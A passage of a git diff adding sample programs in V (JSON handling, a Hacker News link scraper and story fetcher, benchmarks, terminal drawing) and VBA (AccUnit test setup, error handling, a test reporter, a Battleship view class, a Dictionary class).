+	name          string
+	age           int
+mut:
+	is_registered bool
+}
+
+fn main() {
+	s := '[{ "name":"Frodo", "age":25}, {"name":"Bobby", "age":10}]'
+	users := json.decode( []User, s) or {
+		eprintln('Failed to parse json')
+		return
+	}
+	for user in users {
+		println('$user.name: $user.age')
+	}
+	println('')
+	for i, user in users {
+		println('$i) $user.name')
+		if !user.can_register() {
+			println('Cannot register $user.name, they are too young')
+		}
+	}
+	// Let's encode users again just for fun
+	println('')
+	println(json.encode(users))
+}
+
+fn (u User) can_register() bool {
+	return u.age >= 16
+}
+
+fn (u mut User) register() {
+	u.is_registered = true
+}
+
diff --git a/samples/V/links_scraper.v b/samples/V/links_scraper.v
new file mode 100644
index 0000000000..793171e932
--- /dev/null
+++ b/samples/V/links_scraper.v
@@ -0,0 +1,15 @@
+import http
+
+fn main() {
+	html := http.get_text('https://news.ycombinator.com')  
+	mut pos := 0
+	for {
+		pos = html.index_after('https://', pos + 1)
+		if pos == -1 {
+			break
+		}
+		end := html.index_after('"', pos)
+		println(html.substr(pos, end))
+	}
+}
+
diff --git a/samples/V/log.v b/samples/V/log.v
new file mode 100644
index 0000000000..c10ea39492
--- /dev/null
+++ b/samples/V/log.v
@@ -0,0 +1,12 @@
+import log
+
+fn main(){
+    mut l := log.Log{log.INFO, 'terminal'}
+    l.info('info')
+    l.warn('warn')
+    l.error('error')
+    l.debug('no debug')
+    l.set_level(log.DEBUG)
+    l.debug('debug')
+    l.fatal('fatal')
+}
diff --git a/samples/V/loop.v b/samples/V/loop.v
new file mode 100644
index 0000000000..aead39e9fa
--- /dev/null
+++ b/samples/V/loop.v
@@ -0,0 +1,10 @@
+fn main() {
+	numbers := [1, 2, 3, 4, 5]
+	for num in numbers {
+		println(num)
+	}
+	names := ['Sam', 'Peter']
+	for i, name in names {
+		println('$i) $name')	// Output: 0) Sam, etc
+	}
+}
diff --git a/samples/V/nbody.v b/samples/V/nbody.v
new file mode 100644
index 0000000000..1ba622b50e
--- /dev/null
+++ b/samples/V/nbody.v
@@ -0,0 +1,132 @@
+// Ported based on https://benchmarksgame-team.pages.debian.net/benchmarksgame/program/nbody-go-3.html
+// Output:
+// -0.169075164
+// -0.169059907
+
+import math
+
+const (
+    SolarMass   = 39.47841760435743197 //4.0 * math.Pi * math.Pi
+    DaysPerYear = 365.24
+    N           = 5
+)
+
+struct Position {
+pub mut:
+    x f64
+    y f64
+    z f64
+}
+
+struct Momentum {
+pub mut:
+    x f64
+    y f64
+    z f64
+    m f64
+}
+
+struct System {
+pub mut:
+      v []Momentum
+      s []Position
+}
+
+fn advance(sys System, dt f64) {
+    for i := 0; i < N - 1; i++ {
+        mut _vx := sys.v[i].x
+        mut _vy := sys.v[i].y
+        mut _vz := sys.v[i].z
+
+        for j := i + 1; j < N; j++ {
+            dx := sys.s[i].x - sys.s[j].x
+            dy := sys.s[i].y - sys.s[j].y
+            dz := sys.s[i].z - sys.s[j].z
+
+            dsquared := dx * dx + dy * dy + dz * dz
+            distance := math.sqrt(dsquared)
+            mag := (dt / (dsquared * distance))
+            mi := sys.v[i].m
+
+            _vx -= dx * sys.v[j].m * mag
+            _vy -= dy * sys.v[j].m * mag
+            _vz -= dz * sys.v[j].m * mag
+
+            sys.v[j].x += dx * mi * mag
+            sys.v[j].y += dy * mi * mag
+            sys.v[j].z += dz * mi * mag
+        }
+        sys.v[i].x = _vx
+        sys.v[i].y = _vy
+        sys.v[i].z = _vz
+    }
+
+    for i := 0; i < N; i++ {
+        sys.s[i].x += dt * sys.v[i].x
+        sys.s[i].y += dt * sys.v[i].y
+        sys.s[i].z += dt * sys.v[i].z
+    }
+}
+
+fn offsetmomentum(sys System) {
+    mut px := f64(0)
+    mut py := f64(0)
+    mut pz := f64(0)
+
+    for i := 0; i < N; i++ {
+        px += sys.v[i].x * sys.v[i].m
+        py += sys.v[i].y * sys.v[i].m
+        pz += sys.v[i].z * sys.v[i].m
+    }
+    sys.v[0].x = -px / SolarMass
+    sys.v[0].y = -py / SolarMass
+    sys.v[0].z = -pz / SolarMass
+}
+
+fn energy(sys System) f64 {
+    mut e := f64(0)
+    for i := 0; i < N; i++ {
+        e += 0.5 * sys.v[i].m * (sys.v[i].x * sys.v[i].x + sys.v[i].y * sys.v[i].y + sys.v[i].z * sys.v[i].z)
+        for j := i + 1; j < N; j++ {
+            dx := sys.s[i].x - sys.s[j].x
+            dy := sys.s[i].y - sys.s[j].y
+            dz := sys.s[i].z - sys.s[j].z
+            distance := math.sqrt(dx * dx + dy * dy + dz * dz)
+            e -= (sys.v[i].m * sys.v[j].m) / distance
+        }
+    }
+    return e
+}
+
+fn arr_momentum() []Momentum {
+    return [
+    Momentum {0.0, 0.0, 0.0, SolarMass},
+    Momentum {1.66007664274403694e-03 * DaysPerYear, 7.69901118419740425e-03 * DaysPerYear, -6.90460016972063023e-05 * DaysPerYear, 9.54791938424326609e-04 * SolarMass},
+    Momentum {-2.76742510726862411e-03 * DaysPerYear, 4.99852801234917238e-03 * DaysPerYear, 2.30417297573763929e-05 * DaysPerYear, 2.85885980666130812e-04 * SolarMass},
+    Momentum {2.96460137564761618e-03 * DaysPerYear, 2.37847173959480950e-03 * DaysPerYear, -2.96589568540237556e-05 * DaysPerYear, 4.36624404335156298e-05 * SolarMass},
+    Momentum {2.68067772490389322e-03 * DaysPerYear, 1.62824170038242295e-03 * DaysPerYear, -9.51592254519715870e-05 * DaysPerYear, 5.15138902046611451e-05 * SolarMass},
+    ]
+}
+
+pub fn arr_position() []Position {
+    return [
+    Position {0.0, 0.0, 0.0},
+    Position {4.84143144246472090e+00, -1.16032004402742839e+00, -1.03622044471123109e-01},
+    Position {8.34336671824457987e+00, 4.12479856412430479e+00, -4.03523417114321381e-01},
+    Position {1.28943695621391310e+01, -1.51111514016986312e+01, -2.23307578892655734e-01},
+    Position {1.53796971148509165e+01, -2.59193146099879641e+01, 1.79258772950371181e-01},
+    ]
+}
+
+fn main() {
+
+sys := &System {arr_momentum(), arr_position()}
+offsetmomentum(sys)
+
+println('${energy(sys):.9f}')  //-0.169075164
+for i := 0; i < 50000000; i++ {
+    advance(sys, 0.01)
+}
+println('${energy(sys):.9f}') //-0.169059907
+
+}
diff --git a/samples/V/news_fetcher.v b/samples/V/news_fetcher.v
new file mode 100644
index 0000000000..f2df8aea89
--- /dev/null
+++ b/samples/V/news_fetcher.v
@@ -0,0 +1,76 @@
+// Copyright (c) 2019 Alexander Medvednikov. All rights reserved.
+// Use of this source code is governed by an MIT license
+// that can be found in the LICENSE file.
+
+import http
+import json
+import sync
+
+const (
+	NR_THREADS = 4
+)
+
+struct Story {
+	title string
+	url string
+}
+
+struct Fetcher {
+mut:
+	mu      sync.Mutex
+	ids     []int
+	cursor  int
+	wg		&sync.WaitGroup
+}
+
+fn (f mut Fetcher) fetch() {
+	for {
+		f.mu.lock()
+		if f.cursor >= f.ids.len {
+			return
+		}
+		id := f.ids[f.cursor]
+		f.cursor++
+		cursor := f.cursor
+		f.mu.unlock()
+		resp := http.get('https://hacker-news.firebaseio.com/v0/item/${id}.json') or {
+			println('failed to fetch data from /v0/item/${id}.json')
+			exit(1)
+		}
+		story := json.decode(Story, resp.text) or {
+			println('failed to decode a story')
+			exit(1)
+		}
+		f.wg.done()
+		println('#$cursor) $story.title | $story.url')
+	}
+}
+
+// Fetches top HN stories in 4 coroutines
+fn main() {
+	resp := http.get('https://hacker-news.firebaseio.com/v0/topstories.json') or {
+		println('failed to fetch data from /v0/topstories.json')
+		return
+	}
+	mut ids := json.decode([]int, resp.text) or {
+		println('failed to decode topstories.json')
+		return
+	}
+	if ids.len > 10 {
+		// ids = ids[:10]
+		mut tmp := [0 ; 10]
+		for i := 0 ; i < 10 ; i++ {
+			tmp[i] = ids[i]
+		}
+		ids = tmp
+	}
+	
+	mut wg := &sync.WaitGroup{}
+	fetcher := &Fetcher{ids: ids, wg: wg} // wg sent via ptr
+	wg.add(ids.len)
+	for i := 0; i < NR_THREADS; i++ {
+		go fetcher.fetch()
+	}
+	wg.wait()
+}
+
diff --git a/samples/V/rune.v b/samples/V/rune.v
new file mode 100644
index 0000000000..f30b6711ee
--- /dev/null
+++ b/samples/V/rune.v
@@ -0,0 +1,9 @@
+fn main() {
+	// GRINNING FACE😀 => f0 09 98 80
+	grinning_face := rune(0xf09f9880)
+	println(grinning_face)
+
+	// COMMERCIAL AT@ => 0x40
+	commercial_at := rune(0x40000000)
+	println(commercial_at)
+}
diff --git a/samples/V/spectral.v b/samples/V/spectral.v
new file mode 100644
index 0000000000..d597fd331d
--- /dev/null
+++ b/samples/V/spectral.v
@@ -0,0 +1,78 @@
+/*
+https://benchmarksgame-team.pages.debian.net/benchmarksgame/performance/spectralnorm.html
+Added: Pradeep Verghese
+Benchmarks: 
+Used v -prod spectral.v
+Command: time ./spectral 5500
+Output: 1.274224153
+
+Time: 11.67s user 0.02s system 99% cpu 11.721 total
+*/
+
+module main
+import math
+import os
+
+
+fn evala(i, j int) int {
+    return ((i+j)*(i+j+1)/2 + i + 1)
+}
+
+fn (v mut []f64) times(u []f64) {
+    for i := 0; i < v.len; i++ {
+        mut a := f64(0)
+        for j :=0; j< u.len; j++ {
+            a += u[j] /f64(evala(i,j))
+        }
+        v[i] = a
+    }
+}
+
+fn (v mut []f64) times_trans(u []f64) {
+    for i := 0; i< v.len; i++ {
+        mut a := f64(0)
+        for j :=0; j< u.len; j++ {
+            a += u[j] / f64(evala(j,i))
+        }
+        v[i] = a
+    }
+}
+
+fn (v mut []f64) a_times_transp(u []f64) {
+    mut x := [f64(0); u.len]
+    x.times(u)
+    v.times_trans(x)
+} 
+
+fn main() {
+
+    args := os.args
+    mut n := int(0)
+
+    if args.len == 2 {
+        n = args[1].int()
+    }
+    else {
+        n = 0 
+    }
+    mut u := [f64(1.0);n]
+    mut v := [f64(1.0);n]
+
+    for i := 0; i< 10; i++ {
+        v.a_times_transp(u)
+        u.a_times_transp(v)
+    }
+
+    mut vbv := f64(0)
+    mut vv  := f64(0)
+
+    for i :=0; i< n; i++ {
+        vbv += u[i] * v[i]
+        vv += v[i] * v[i]
+    }
+    ans := math.sqrt(vbv/vv)
+
+    println('${ans:0.9f}')
+
+
+}
diff --git a/samples/V/terminal_control.v b/samples/V/terminal_control.v
new file mode 100644
index 0000000000..c8ef29cedf
--- /dev/null
+++ b/samples/V/terminal_control.v
@@ -0,0 +1,30 @@
+import term
+
+fn main() {
+	term.erase_clear()
+	sleeping_line(5,5,5,'*')
+	standing_line(5,5,5,'*')
+	sleeping_line(5,10,5,'*')
+	standing_line(9,5,5,'*')
+	term.cursor_down(5)
+	print('\n')
+	println(term.bold(term.red('It Worked!')))
+}
+
+fn sleeping_line(x,y,size int, ch string) {
+	mut i := 0
+	for i < size {
+		term.set_cursor_position(x+i,y)
+		print(term.bold(term.yellow(ch)))
+		i++
+	}
+}
+
+fn standing_line(x,y,size int, ch string) {
+	mut i := 0
+	for i < size {
+		term.set_cursor_position(x,y+i)
+		print(term.bold(term.yellow(ch)))
+		i++
+	}
+}
diff --git a/samples/VBA/AccUnitLoaderConfigProcedures.bas b/samples/VBA/AccUnitLoaderConfigProcedures.bas
new file mode 100644
index 0000000000..9c02d03875
--- /dev/null
+++ b/samples/VBA/AccUnitLoaderConfigProcedures.bas
@@ -0,0 +1,114 @@
+Attribute VB_Name = "AccUnitLoaderConfigProcedures"
+Option Explicit
+Option Compare Text
+
+Public Sub AddAccUnitTlbReference()
+   RemoveAccUnitTlbReference
+   CurrentVbProject.References.AddFromFile CurrentAccUnitConfiguration.AccUnitDllPath & "\AccessCodeLib.AccUnit.tlb"
+End Sub
+
+Public Sub RemoveAccUnitTlbReference()
+
+   Dim ref As Reference
+   Dim RefName As String
+   
+   With CurrentVbProject
+      For Each ref In .References
+On Error Resume Next
+         RefName = ref.Name
+         If Err.Number <> 0 Then
+            Err.Clear
+            RefName = vbNullString
+         End If
+On Error GoTo 0
+         If RefName = "AccUnit" Then
+            .References.Remove ref
+            Exit Sub
+         End If
+      Next
+   End With
+   
+End Sub
+
+Public Sub InsertFactoryModule()
+
+   Dim Configurator As AccUnit.Configurator
+   
+   With New AccUnitLoaderFactory
+      Set Configurator = .Configurator
+   End With
+   
+   Configurator.InsertAccUnitLoaderFactoryModule AccUnitTlbReferenceExists, True, CurrentVbProject, Application
+   Set Configurator = Nothing
+   
+On Error Resume Next
+'   Application.RunCommand acCmdCompileAndSaveAllModules
+
+End Sub
+
+Private Function AccUnitTlbReferenceExists() As Boolean
+
+   Dim ref As Reference
+   Dim RefName As String
+   
+   For Each ref In CurrentVbProject.References
+On Error Resume Next
+      RefName = ref.Name
+      If Err.Number <> 0 Then
+         Err.Clear
+         RefName = vbNullString
+      End If
+On Error GoTo 0
+      If RefName = "AccUnit" Then
+         AccUnitTlbReferenceExists = True
+         Exit Function
+      End If
+   Next
+   
+End Function
+
+Public Sub ImportTestClasses()
+
+   Dim Configurator As AccUnit.Configurator
+   
+   With New AccUnitLoaderFactory
+      Set Configurator = .Configurator
+   End With
+   
+   Configurator.InsertAccUnitLoaderFactoryModule AccUnitTlbReferenceExists, False, CurrentVbProject, Application
+   Configurator.ImportTestClasses
+   Set Configurator = Nothing
+   
+On Error Resume Next
+'   Application.RunCommand acCmdCompileAndSaveAllModules
+   
+End Sub
+
+Public Sub ExportTestClasses()
+
+   Dim Configurator As AccUnit.Configurator
+   
+   With New AccUnitLoaderFactory
+      Set Configurator = .Configurator
+   End With
+   
+   Configurator.ExportTestClasses
+   Set Configurator = Nothing
+   
+End Sub
+
+Public Sub RemoveTestEnvironment(ByVal RemoveTestModules As Boolean)
+
+   Dim Configurator As AccUnit.Configurator
+   
+   With New AccUnitLoaderFactory
+      Set Configurator = .Configurator
+   End With
+   
+   Configurator.RemoveTestEnvironment RemoveTestModules, , CurrentVbProject
+   Set Configurator = Nothing
+   
+On Error Resume Next
+'   Application.RunCommand acCmdCompileAndSaveAllModules
+
+End Sub
diff --git a/samples/VBA/ErrorHandling.bas b/samples/VBA/ErrorHandling.bas
new file mode 100644
index 0000000000..4f2250eebc
--- /dev/null
+++ b/samples/VBA/ErrorHandling.bas
@@ -0,0 +1,20 @@
+Attribute VB_Name = "ErrorHandling"
+Option Explicit
+
+Public Sub RaiseError(errNumber As Integer, Optional errSource As String = "", Optional errDescription As String = "")
+    If errSource = "" Then
+        'set default values
+        errSource = Err.Source
+        errDescription = Err.Description
+    End If
+    Err.Raise vbObjectError + errNumber, errSource, errDescription
+End Sub
+
+
+Public Sub handleError(Optional errLocation As String = "")
+    Dim errorMessage As String
+    errorMessage = "Error in " & errLocation & ", [" & Err.Source & "] : error number " & Err.Number & vbNewLine & Err.Description
+    Debug.Print errorMessage
+    MsgBox errorMessage, vbCritical, "vbaDeveloper ErrorHandler"
+End Sub
+
diff --git a/samples/VBA/WorkbookReporter.cls b/samples/VBA/WorkbookReporter.cls
new file mode 100644
index 0000000000..41f3b1ccf1
--- /dev/null
+++ b/samples/VBA/WorkbookReporter.cls
@@ -0,0 +1,233 @@
+VERSION 1.0 CLASS
+BEGIN
+  MultiUse = -1  'True
+END
+Attribute VB_Name = "WorkbookReporter"
+Attribute VB_GlobalNameSpace = False
+Attribute VB_Creatable = False
+Attribute VB_PredeclaredId = False
+Attribute VB_Exposed = True
+''
+' DisplayReporter v2.0.0-beta.3
+' (c) Tim Hall - https://github.com/VBA-tools/VBA-TDD
+'
+' Report results to Worksheet
+'
+' @class DisplayReporter
+' @compatibility
+'   Platforms: Windows and Mac
+'   Applications: Excel-only
+' @author tim.hall.engr@gmail.com
+' @license MIT (https://opensource.org/licenses/MIT)
+' ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ '
+Option Explicit
+
+' --------------------------------------------- '
+' Constants and Private Variables
+' --------------------------------------------- '
+
+Private Const ProgressWidth As Long = 128
+Private pSheet As Worksheet
+Private pCount As Long
+Private pTotal As Long
+Private pSuites As Collection
+
+' ============================================= '
+' Public Methods
+' ============================================= '
+
+''
+' Connect the display runner to a Worksheet to output results
+'
+' The given Worksheet should have names for:
+' - "Progress" (Shape with width)
+' - "ProgressBorder" (Shape)
+' - "Result" (Cell) - Cell to output overall result
+' - "Output" (Cell) - First cell to output results
+'
+' @method ConnectTo
+' @param {Worksheet} Sheet
+''
+Public Sub ConnectTo(Sheet As Worksheet)
+    Set pSheet = Sheet
+End Sub
+
+''
+' Call this at the beginning of a test run to reset the worksheet
+' (pass overall number of test suites that will be run to display progress)
+'
+' @method Start
+' @param {Long} [NumSuites = 0]
+''
+Public Sub Start(Optional NumSuites As Long = 0)
+    pCount = 0
+    pTotal = NumSuites
+
+    ClearResults
+    ShowProgress
+    DisplayResult "Running"
+End Sub
+
+''
+' Output the given suite
+'
+' @method Output
+' @param {TestSuite} Suite
+''
+Public Sub Output(Suite As TestSuite)
+    pCount = pCount + 1
+    pSuites.Add Suite
+    
+    ShowProgress
+    DisplayResults
+End Sub
+
+''
+' After outputing all suites, display overall result
+'
+' @method Done
+''
+Public Sub Done()
+    Dim Failed As Boolean
+    Dim Suite As TestSuite
+    For Each Suite In pSuites
+        If Suite.Result = TestResultType.Fail Then
+            Failed = True
+            Exit For
+        End If
+    Next Suite
+    
+    DisplayResult IIf(Failed, "FAIL", "PASS")
+End Sub
+
+' ============================================= '
+' Private Functions
+' ============================================= '
+
+Private Sub ShowProgress()
+    If pTotal <= 0 Then
+        HideProgress
+        Exit Sub
+    End If
+
+    Dim Percent As Double
+    Percent = pCount / pTotal
+    
+    If Percent > 1 Then
+        Debug.Print "WARNING: DisplayRunner has output more suites than specified in Start"
+        Percent = 1
+    End If
+
+    pSheet.Shapes("Progress").Width = ProgressWidth * Percent
+    pSheet.Shapes("Progress").Visible = True
+    pSheet.Shapes("ProgressBorder").Visible = True
+End Sub
+
+Private Sub HideProgress()
+    pSheet.Shapes("Progress").Visible = False
+    pSheet.Shapes("ProgressBorder").Visible = False
+End Sub
+
+Private Sub DisplayResult(Value As String)
+    With pSheet.Range("Result")
+        .Font.Size = IIf(Value = "Running", 12, 14)
+        .Value = Value
+    End With
+End Sub
+
+Private Sub ClearResults()
+    Dim StartRow As Long
+    Dim StartColumn As Long
+    StartRow = pSheet.Range("Output").Row
+    StartColumn = pSheet.Range("Output").Column
+    
+    Dim lastrow As Long
+    lastrow = StartRow
+    Do While pSheet.Cells(lastrow + 1, StartColumn).Value <> ""
+        lastrow = lastrow + 1
+    Loop
+    
+    With pSheet.Range(pSheet.Cells(StartRow, StartColumn), pSheet.Cells(lastrow, StartColumn + 1))
+        .Value = ""
+        .Font.Bold = False
+        .Borders(xlInsideHorizontal).LineStyle = xlNone
+    End With
+End Sub
+
+Private Sub DisplayResults()
+    Dim Rows As New Collection
+    Dim Dividers As New Collection
+    Dim Headings As New Collection
+    
+    Dim Suite As TestSuite
+    Dim Test As TestCase
+    Dim Failure As Variant
+    
+    For Each Suite In pSuites
+        If Rows.Count > 0 Then
+            Dividers.Add Rows.Count
+        End If
+
+        If Suite.Description <> "" Then
+            Headings.Add Rows.Count
+            Rows.Add Array(Suite.Description, ResultTypeToString(Suite.Result))
+        End If
+
+        For Each Test In Suite.Tests
+            If Test.Result <> TestResultType.Skipped Then
+                Rows.Add Array(Test.Name, ResultTypeToString(Test.Result))
+    
+                For Each Failure In Test.Failures
+                    Rows.Add Array("  " & Failure, "")
+                Next Failure
+            End If
+        Next Test
+    Next Suite
+    
+    Dim OutputValues() As String
+    Dim Row As Variant
+    Dim i As Long
+    ReDim OutputValues(Rows.Count - 1, 1)
+    i = 0
+    For Each Row In Rows
+        OutputValues(i, 0) = Row(0)
+        OutputValues(i, 1) = Row(1)
+        i = i + 1
+    Next Row
+    
+    Dim StartRow As Long
+    Dim StartColumn As Long
+    StartRow = pSheet.Range("Output").Row
+    StartColumn = pSheet.Range("Output").Column
+
+    pSheet.Range(pSheet.Cells(StartRow, StartColumn), pSheet.Cells(StartRow + Rows.Count - 1, StartColumn + 1)).Value = OutputValues
+    
+    Dim Divider As Variant
+    For Each Divider In Dividers
+        With pSheet.Range(pSheet.Cells(StartRow + Divider, StartColumn), pSheet.Cells(StartRow + Divider, StartColumn + 1)).Borders(xlEdgeTop)
+            .LineStyle = xlContinuous
+            .Color = VBA.RGB(191, 191, 191)
+            .Weight = xlThin
+        End With
+    Next Divider
+    
+    Dim Heading As Variant
+    For Each Heading In Headings
+        pSheet.Cells(StartRow + Heading, StartColumn).Font.Bold = True
+    Next Heading
+End Sub
+
+Private Function ResultTypeToString(ResultType As TestResultType) As String
+    Select Case ResultType
+    Case TestResultType.Pass
+        ResultTypeToString = "Pass"
+    Case TestResultType.Fail
+        ResultTypeToString = "Fail"
+    Case TestResultType.Pending
+        ResultTypeToString = "Pending"
+    End Select
+End Function
+
+Private Sub Class_Initialize()
+    Set pSuites = New Collection
+End Sub
diff --git a/samples/VBA/WorksheetView.cls b/samples/VBA/WorksheetView.cls
new file mode 100644
index 0000000000..065b096919
--- /dev/null
+++ b/samples/VBA/WorksheetView.cls
@@ -0,0 +1,173 @@
+VERSION 1.0 CLASS
+BEGIN
+  MultiUse = -1  'True
+END
+Attribute VB_Name = "WorksheetView"
+Attribute VB_GlobalNameSpace = False
+Attribute VB_Creatable = False
+Attribute VB_PredeclaredId = False
+Attribute VB_Exposed = False
+Attribute VB_Description = "Facade implementation for a Worksheet-based user interface."
+'@Folder("Battleship.View.Worksheet")
+'@ModuleDescription("Facade implementation for a Worksheet-based user interface.")
+Option Explicit
+Implements IGridViewCommands
+
+Private adapter As GridViewAdapter ' IWeakReference
+Private WithEvents sheetUI As GameSheet
+Attribute sheetUI.VB_VarHelpID = -1
+
+Private Sub Class_Initialize()
+    Set sheetUI = GameSheet
+End Sub
+
+Private Sub Class_Terminate()
+    Debug.Print TypeName(Me) & " is terminating"
+End Sub
+
+Private Property Get ViewEvents() As IGridViewEvents
+    Set ViewEvents = adapter '.Object
+End Property
+
+
+':GameSheet event handlers
+':Messages sent from the view
+':***************************
+
+Private Sub sheetUI_CreatePlayer(ByVal gridId As PlayGridId, ByVal pt As PlayerType, ByVal difficulty As AIDifficulty)
+    ViewEvents.CreatePlayer gridId, pt, difficulty
+End Sub
+
+Private Sub sheetUI_DoubleClick(ByVal gridId As PlayGridId, ByVal position As IGridCoord, ByVal Mode As ViewMode)
+    Select Case Mode
+        
+        Case ViewMode.FleetPosition
+            ViewEvents.ConfirmShipPosition gridId, position
+            
+        Case ViewMode.Player1, ViewMode.Player2
+            ViewEvents.AttackPosition gridId, position
+            
+    End Select
+End Sub
+
+Private Sub sheetUI_PlayerReady()
+    ViewEvents.HumanPlayerReady
+End Sub
+
+Private Sub sheetUI_RightClick(ByVal gridId As PlayGridId, ByVal position As IGridCoord, ByVal Mode As ViewMode)
+    If Mode = FleetPosition Then ViewEvents.PreviewRotateShip gridId, position
+End Sub
+
+Private Sub sheetUI_SelectionChange(ByVal gridId As PlayGridId, ByVal position As IGridCoord, ByVal Mode As ViewMode)
+    If Mode = FleetPosition Then ViewEvents.PreviewShipPosition gridId, position
+End Sub
+
+
+':IGridViewCommands
+':Messages sent from the controller
+':*********************************
+
+Private Property Set IGridViewCommands_Events(ByVal value As IGridViewEvents)
+    Set adapter = value ' WeakReference.Create(Value)
+End Property
+
+Private Property Get IGridViewCommands_Events() As IGridViewEvents
+    Set IGridViewCommands_Events = adapter '.Object
+End Property
+
+Private Sub IGridViewCommands_OnBeginAttack(ByVal currentPlayerGridId As PlayGridId)
+    sheetUI.ShowInfoBeginAttackPhase currentPlayerGridId
+End Sub
+
+Private Sub IGridViewCommands_OnBeginShipPosition(ByVal CurrentShip As IShip, ByVal player As IPlayer)
+    sheetUI.ShowInfoBeginDeployShip CurrentShip.Name
+End Sub
+
+Private Sub IGridViewCommands_OnBeginWaitForComputerPlayer()
+    Application.Cursor = xlWait
+    Application.StatusBar = "Please wait..."
+End Sub
+
+Private Sub IGridViewCommands_OnEndWaitForComputerPlayer()
+    Application.Cursor = xlDefault
+    Application.StatusBar = False
+End Sub
+
+Private Sub IGridViewCommands_OnConfirmShipPosition(ByVal player As IPlayer, ByVal newShip As IShip)
+    sheetUI.ConfirmShipPosition player, newShip
+End Sub
+    
+Private Sub IGridViewCommands_OnGameOver(ByVal winningGridId As PlayGridId)
+    With sheetUI
+        .ShowAnimationVictory winningGridId
+        .ShowAnimationDefeat IIf(winningGridId = 1, 2, 1)
+        .ShowReplayButton
+        .LockGrids
+    End With
+    Application.Cursor = xlDefault
+End Sub
+
+Private Sub IGridViewCommands_OnHit(ByVal gridId As PlayGridId)
+    With sheetUI
+        .ShowAnimationHit gridId
+        .LockGrid gridId
+    End With
+End Sub
+
+Private Sub IGridViewCommands_OnInvalidShipPosition()
+    sheetUI.ShowErrorInvalidShipPosition
+End Sub
+
+Private Sub IGridViewCommands_OnKnownPositionAttack()
+    sheetUI.ShowErrorKnownPositionAttack
+End Sub
+
+Private Sub IGridViewCommands_OnLockGrid(ByVal gridId As PlayGridId)
+    sheetUI.LockGrid gridId
+End Sub
+
+Private Sub IGridViewCommands_OnMiss(ByVal gridId As PlayGridId)
+    With sheetUI
+        .ShowAnimationMiss gridId
+        .LockGrid gridId
+    End With
+End Sub
+
+Private Sub IGridViewCommands_OnNewGame()
+    With sheetUI
+        .Visible = xlSheetVisible
+        .OnNewGame
+    End With
+End Sub
+
+Private Sub IGridViewCommands_OnPreviewShipPosition(ByVal player As IPlayer, ByVal newShip As IShip)
+    sheetUI.PreviewShipPosition player, newShip
+End Sub
+
+Private Sub IGridViewCommands_OnRefreshGrid(ByVal grid As PlayerGrid)
+    sheetUI.RefreshGrid grid
+End Sub
+
+Private Sub IGridViewCommands_OnSelectPosition(ByVal gridId As PlayGridId, ByVal position As IGridCoord)
+    If sheetUI Is Application.ActiveSheet Then
+        sheetUI.GridCoordToRange(gridId, position).Select
+    End If
+End Sub
+
+Private Sub IGridViewCommands_OnSink(ByVal gridId As PlayGridId)
+    With sheetUI
+        .ShowAnimationSunk gridId
+        .LockGrid gridId
+    End With
+End Sub
+
+Private Sub IGridViewCommands_OnUpdateFleetStatus(ByVal player As IPlayer, ByVal hitShip As IShip, Optional ByVal showAIStatus As Boolean = False)
+    With sheetUI
+        If player.PlayerType = ComputerControlled And showAIStatus Then
+            .ShowAcquiredTarget IIf(player.PlayGrid.gridId = 1, 1, 2), hitShip.Name, hitShip.IsSunken
+        Else
+            .UpdateShipStatus player, hitShip
+        End If
+    End With
+End Sub
+
diff --git a/samples/VBA/dictionary.cls b/samples/VBA/dictionary.cls
new file mode 100644
index 0000000000..1be3c2a8a2
--- /dev/null
+++ b/samples/VBA/dictionary.cls
@@ -0,0 +1,474 @@
+VERSION 1.0 CLASS
+BEGIN
+  MultiUse = -1  'True
+END
+Attribute VB_Name = "Dictionary"
+Attribute VB_GlobalNameSpace = False
+Attribute VB_Creatable = False
+Attribute VB_PredeclaredId = False
+Attribute VB_Exposed = True
+Attribute VB_Description = "Drop-in replacement for Scripting.Dictionary on Mac\r\n\r\nDictionary v1.4.0\r\n(c) Tim Hall - https://github.com/timhall/VBA-Dictionary\r\nAuthor: tim.hall.engr@gmail.com\r\nLicense: MIT (http://www.opensource.org/licenses/mit-license.php)\r\n"
+''
+' Dictionary v1.4.1
+' (c) Tim Hall - https://github.com/timhall/VBA-Dictionary
+'
+' Drop-in replacement for Scripting.Dictionary on Mac
+'
+' @author: tim.hall.engr@gmail.com
+' @license: MIT (http://www.opensource.org/licenses/mit-license.php
+'
+' ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ '
+Option Explicit
+
+' --------------------------------------------- '
+' Constants and Private Variables
+' --------------------------------------------- '
+
+#Const UseScriptingDictionaryIfAvailable = True
+
+#If Mac Or Not UseScriptingDictionaryIfAvailable Then
+
+' dict_KeyValue 0: FormattedKey, 1: OriginalKey, 2: Value
+Private dict_pKeyValues As Collection
+Private dict_pKeys() As Variant
+Private dict_pItems() As Variant
+Private dict_pObjectKeys As Collection
+Private dict_pCompareMode As CompareMethod
+
+#Else
+
+Private dict_pDictionary As Object
+
+#End If
+
+' --------------------------------------------- '
+' Types
+' --------------------------------------------- '
+
+Public Enum CompareMethod
+    BinaryCompare = VBA.vbBinaryCompare
+    TextCompare = VBA.vbTextCompare
+    DatabaseCompare = VBA.vbDatabaseCompare
+End Enum
+
+' --------------------------------------------- '
+' Properties
+' --------------------------------------------- '
+
+Public Property Get CompareMode() As CompareMethod
+Attribute CompareMode.VB_Description = "Set or get the string comparison method."
+#If Mac Or Not UseScriptingDictionaryIfAvailable Then
+    CompareMode = dict_pCompareMode
+#Else
+    CompareMode = dict_pDictionary.CompareMode
+#End If
+End Property
+Public Property Let CompareMode(Value As CompareMethod)
+#If Mac Or Not UseScriptingDictionaryIfAvailable Then
+    If Me.Count > 0 Then
+        ' Can't change CompareMode for Dictionary that contains data
+        ' http://msdn.microsoft.com/en-us/library/office/gg278481(v=office.15).aspx
+        Err.Raise 5 ' Invalid procedure call or argument
+    End If
+
+    dict_pCompareMode = Value
+#Else
+    dict_pDictionary.CompareMode = Value
+#End If
+End Property
+
+Public Property Get Count() As Long
+Attribute Count.VB_Description = "Get the number of items in the dictionary.\n"
+#If Mac Or Not UseScriptingDictionaryIfAvailable Then
+    Count = dict_pKeyValues.Count
+#Else
+    Count = dict_pDictionary.Count
+#End If
+End Property
+
+Public Property Get Item(Key As Variant) As Variant
+Attribute Item.VB_Description = "Set or get the item for a given key."
+Attribute Item.VB_UserMemId = 0
+#If Mac Or Not UseScriptingDictionaryIfAvailable Then
+    Dim dict_KeyValue As Variant
